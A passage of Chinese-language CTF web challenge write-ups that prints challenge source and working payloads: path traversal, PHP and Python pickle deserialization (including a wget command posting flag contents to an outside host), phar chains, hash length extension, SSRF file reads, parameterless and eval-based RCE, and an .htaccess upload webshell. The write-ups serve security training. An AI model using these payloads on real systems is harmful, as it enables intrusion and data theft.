highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}

if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}

$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

最终payload:

http://xxxx:xxxx/source.php?file=source.php?/../../../../../ffffllllaaaagggg

[RoarCTF 2019]Easy Java

1
2
3
4
5
6
7
8
9
POST /Download?filename=./WEB-INF/web.xml 
#得到如下
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>

#payload:
POST /Download?filename=./WEB-INF/classes/com/wm/ctf/FlagController.class

反序列化

[0CTF 2016]piapiapia

直接写解法与解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('fuck');
$profile['phone'] = '18888888888';
$profile['email'] = 'admin@qq.com';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/' . md5('1.txt');
echo serialize($profile);
//a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}

$profile['photo'] = 'config.php';
echo ' ';
echo serialize($profile);
//a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

$profile['nickname'] = '";}s:5:"photo";s:10:"config.php";}';
//长度换种方法计算(利用powershell):expr length '";}s:5:"photo";s:10:"config.php";}'
$profile['photo'] = 'upload/' . md5('1.txt');
echo ' ';
echo serialize($profile);
//a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"admin@qq.com";s:8:"nickname";s:34:"";}s:5:"photo";s:10:"config.php";}";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}
//可见需要用过一些手段将34个字符排挤出去,根据题目源码中将where替换为hacker的操作,故输入34个where于nickname数组中。
//利用powershell构造34个where字符串:for ($i=1;$i -le 34;$i++){ $s=$s+'where'};echo $s;
//希望在后台达成的效果:$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
//于是payload为nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}

[安洵杯 2019]easy_serialize_php

PHP反序列化字符逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
 <?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}

if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

//反序列化中的对象逃逸
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=e";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";} //最后部分是为了满足a:3而添加的
// 这里非常奇怪,必须使用hackbar才能成功,curl与repeater因为 [ ] 这两个字符的编码无法成功
// flag in /d0g3_fllllllag
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=e";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}

//以下是生成用的草稿
<?php
$_SESSION['user']='guest';
$_SESSION['function']='e";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
//$_SESSION['function']='img";s:20:"ZDBnM19mMWFnLnBocA==";}';
//flag in /d0g3_fllllllag L2QwZzNfZmxsbGxsbGFn
$_SESSION['function']='show_image';
$_SESSION['img']='L2QwZzNfZmxsbGxsbGFn';
//a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
echo serialize($_SESSION);
//d0g3_f1ag.php L2QwZzNfZmxsbGxsbGFn

[极客大挑战 2019]PHP

以下是源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

以下是payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin',100);
echo serialize($a);
?>
//这里得到 O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//绕过wakeup O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
//传入private里面 O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

[网鼎杯 2020 青龙组]AreUSerialz

这个直接上payload了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
public $op=2; //这里改为public,不然protected会导致%00出现,而这个是无法显示出来的
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}
$A=new FileHandler();
echo '@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@';
echo serialize($A);


// GET /?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

[CISCN2019 华北赛区 Day1 Web2]ikun

python的反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#先是用爬虫找到lv6,再在discount上面做手脚
#然后是JWT伪造
py -3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZXIifQ.GQgm25tpFqJD5iFqanVN_IE0BAEq1mJxpRelc9-mhLw
#选7,使用字典爆破,得到密码1Kun

>>>import jwt
>>>jwt.encode({"username": "admin"}, algorithm='HS256',key='1Kun').decode('utf-8')

#然后是python反序列化,其中的admin.py源码如下:

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib

class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)




#解法例举三个:
#法一,最后的反序列化payload如下:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
# __reduce__:当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
# __reduce__ 被定义之后,当对象被Pickle时就会被调用。
# 它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
# 这个元组包含2到5个元素,其中包括:
# 一个可调用的对象,用于重建对象时调用;【我们这里的eval】
# 一个参数元素,供那个可调用对象使用; 【我们这里的open('/flag.txt','r').read()】
# 被传递给 __setstate__ 的状态(可选);
# 一个产生被pickle的列表元素的迭代器(可选);
# 一个产生被pickle的字典元素的迭代器(可选)
a = pickle.dumps(payload())
# pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中
a = urllib.quote(a)
print a


#法二,在法一基础上对命令进行拓展
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('ls -la /').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a


#法三,当然在确定命令被运行而无回显情况下可以直接reverse-shell
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.system,("wget 'http://xss.buuoj.cn/index.php?do=api&id=Krwr7k' --post-data='location='`cat flag.txt` -O-",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
#特别注意,在Windows环境和Linux环境下这三个方法生成的payload不同!!!
#有关python沙箱逃逸的内容参见https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/

[CISCN2019 华北赛区 Day1 Web1]Dropbox

phar反序列化。

此题首先利用任意文件下载漏洞获取到源码。 在class.php中,发现File类close方法中存在着file_get_contents方法,搜索后发现delete.php中存在着对File的使用而且没有限于flag字符串。另外,后面的open方法过滤不严,可使用phar协议来进行反序列化; 在User对象销毁的时候会自动触发File类的close方法; 这时还是无法输出被读取的flag; 需要结合FileList(因为这里也调用了File)的call方法,call方法是在访问不存在的方法的时候会触发;但是FileList的触发需要通过User对象来构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
//附上class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

用于解决的PHP代码(版本7.3)如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//在php.ini中配置phar.readonly = Off
//以下是产生对应phar文件的PHP代码,最后只要修改后缀,在delete中的filename输入phar://phar.png即可
<?php
class User {
public $db;
public function __construct() {
$this->db = new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$file = new File();
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
class File {
public $filename='/flag.txt';
}
$o = new User();
//phar生成代码
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

hash长度拓展攻击

[De1CTF 2019]SSRF Me题讲解

源码位于 https://github.com/CTFTraining/delta_2019_web_ssrfme

解法1:

使用传入参数的trick,md5(key + ‘flag.txt’ + ‘readscan’),已被写死,等号右边的未定的参数也可也可确定,即md5(key + ‘flag.txtread’ + ‘scan’)

解法2:

通过hash长度拓展攻击(原理可参见 https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks ),

GET /geneSign?param=/etc/passwd

获取到了一个hash(3d852dcc159b7fcf6c439b93f03c8314),先使用题目中的scan函数,然后要read,但是没有对应的hash,这里使用长度拓展。

1
2
3
>>> import hashpumpy
>>> hashpumpy.hashpump('3d852dcc159b7fcf6c439b93f03c8314','scan','read',29)
('84190edcd55bbb858d0cdac6b0fcb92e', 'scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x01\x00\x00\x00\x00\x00\x00read')

这里其实不知道len(‘SECRETKEY’)的长度是29,可以考虑写脚本爆破。如果是flag.txt,那么长度就是24。

1
2
3
4
5
#要将scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
#转化成scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00read

#可以在bash里面使用如下方法,filename是已写入的文件,或者干脆利用管道符。
sed -i 's/\\x/%/g' filename

另外,这题的param可以使用如下来实现绕过。

1
2
3
flag.txt
local_file:///app/flag.txt
local-file:///proc/self/cwd/flag.txt

Unicode所产生的漏洞

参见 https://xz.aliyun.com/t/6070

[SUCTF 2019]Pythonginx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
  @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"

'''
法一:
参见 https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
file://suctf.c℅pt/../etc/passwd

file://suctf.c℅pt/../var/log/nginx/access.log

file://suctf.c℅pt/../etc/nginx/conf.d/default.conf

file://suctf.c℅pt/../usr/local/nginx/conf/nginx.conf

file://suctf.c℅pt/../usr/fffffflag


法二:
参见 https://xz.aliyun.com/t/6281
file:////suctf.cc/../../../../../etc/passwd

# 利用如下实验能够更好地解释
# from urllib.parse import urlsplit,urlunsplit,urlparse
# url="https://www.baidu.com"
# urlparse(url)
## ParseResult(scheme='https', netloc='www.baidu.com', path='', params='', query='', fragment='')
# url="file:////asdf.cd
# urlparse(url)
## ParseResult(scheme='file', netloc='', path='//asdf.cd', params='', query='', fragment='')
# 其中的netloc即hostname
'''

[ASIS 2019]Unicorn shop

1
2
#在这里https://www.compart.com/en/unicode/搜索ten thousand即可发现需要的字符
id=4&price=%F0%90%A1%9F

无参数RCE

[GXYCTF2019]禁止套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#可使用如下命令获取源码,或是GitHack或是dvcs-ripper
wget -e "http_proxy=http://127.0.0.1:8080" -r -p -np -k http://80ba9f58-fb7f-4d7a-af9e-628940c72640.node3.buuoj.cn/.git/
--recursive(递归)
-k, --convert-links(转换链接)
-p, --page-requisites(页面必需元素)
-np, --no-parent(不追溯至父级)
#之后这里莫名其妙地出现了403错误,GitHack没了效果,尚未明白原因

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

//可参见 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E4%BB%80%E4%B9%88%E6%98%AF%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

GET /index.php?exp=print_r(scandir(current(localeconv())));

GET /index.php?exp=print_r(array_reverse(scandir(pos(localeconv()))));

GET /index.php?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

GET /index.php?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));


另外,可采用该办法:
GET /index.php?exp=print_r(chr(ord(strrev(crypt(serialize(array()))))));
//输出为 / . 0 这三者,所以需要多次提交

代码审计类

这里主要是对于PHP代码的审计中比较明显的几类题。

[BJDCTF2020]Mark loves cat

经典的变量覆盖漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

//post:$flag=flag
foreach($_POST as $x => $y){
$$x = $y; //相当于$$flag=flag
}

//get:?yds=flag
foreach($_GET as $x => $y){
$$x = $$y; //相当于$yds=$flag
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds); //这里输出了flag的结果
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;

[BJDCTF2020]ZJCTF,不过如此

利用了PHP早期版本的preg_replace后门。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// GET /index.php?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=./next.php

//以下是 next.php 内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) { //该部分可参见 https://xz.aliyun.com/t/2557
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) { //假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

// 于是有如下方法:
// GET /next.php?\S*=${system($_GET[a])}&a=cat+/flag
// GET /next.php?\S*=${getFlag()}&cmd=system('whoami');

[CISCN 2019 初赛]Love Math

此题略无趣,无非就是混淆绕过。直接搬别人的wp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

// ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag

//base_convert(37907361743,10,36)=>hex2bin
//dechex(1598506324)=>"5f474554"
//hex2bin("5f474554")=>_GET
//$$pi=>$_GET
//($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag=>$_GET{pi}$_GET{cos}pi=system&cos=cat

[GWCTF 2019]枯燥的抽奖

关于随机数的漏洞——mt_srand漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
'''
PHP源码如下:
<?php
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
'''


str1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2 = 'o3WYO5qlY1'
length = len(str2)
res = ''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res += str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
#./php_mt_seed 14 14 0 61 29 29 0 61 58 58 0 61 60 60 0 61 50 50 0 61 31 31 0 61 16 16 0 61 11 11 0 61 60 60 0 61 27 27 0 61
# $_SESSION['seed']=751363945;

上传漏洞

这部分本来不想写的,但还是随便来一些以求完整性。

[MRCTF2020]你传你?呢

1
2
3
4
5
.htaccess文件上传,之后上传a.jpg即可

<FilesMatch "a">
SetHandler application/x-httpd-php
</FilesMatch>

bypass-opendir

这已经属于getshell之后的操作了,方法的适用性与环境有关,可参见这篇文章。 https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/

[GKCTF2020]CheckIN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}

public function x()
{
return $_REQUEST;
}
}
new ClassName();

// 这里的Ginkgo需要注意一点,如果直接输入Ginkgo=$_POST['a'],是无法运行的;而是应该输入Ginkgo=@eval($_POST['a']),请自己揣摩原因。然后蚁剑连接,发现需要bypass-opendir。
// 权限设置较死,必须运行/readflag才行,于是相关的payload在 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
// 建议先尝试如下这种方法直接读文件,但是这里权限设置导致了失败。
// a=chdir('/tmp');mkdir('hhh');chdir('hhh');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(ini_get('open_basedir'));var_dump(glob('*'));echo file_get_contents('/flag');